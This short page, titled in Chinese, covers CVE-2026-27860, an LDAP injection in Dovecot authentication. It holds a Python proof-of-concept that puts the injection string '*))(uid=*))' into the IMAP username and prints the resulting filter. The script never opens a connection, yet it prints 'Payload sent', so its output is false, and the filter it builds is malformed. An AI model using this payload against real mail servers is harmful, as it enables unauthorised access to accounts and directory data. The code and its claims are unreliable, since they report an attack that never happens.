CVE-2026-27860 Dovecot LDAP认证注入漏洞

# PoC for CVE-2026-27860 # Concept: Demonstrating how an empty auth_username_chars allows LDAP injection. # This is a simulation of the payload structure. import socket # Target configuration (hypothetical) host = '192.168.1.10' port = 143 # IMAP port # Malicious payload designed to bypass logic or probe structure # If auth_username_chars is empty, this string is passed directly to the LDAP filter. # Example payload: *))(uid=*)) # This attempts to make the filter always true or match specific attributes. malicious_username = '*))(uid=*))' # Simulation of the LDAP filter construction in Dovecot (Vulnerable logic) # Normal: (&(objectClass=posixAccount)(uid=%s)) # Vulnerable with empty auth_username_chars: # The input is not sanitized. constructed_filter = f"(&(objectClass=posixAccount)(uid={malicious_username}))" print(f"[+] Constructing LDAP Filter with malicious input...") print(f"[+] Filter: {constructed_filter}") # If the server accepts this, it may return the first user entry or error out, # leaking information about the LDAP structure. print(f"[+] Payload sent: USER {malicious_username}") print(f"[!] If auth_username_chars is empty, this may bypass restrictions or probe LDAP.")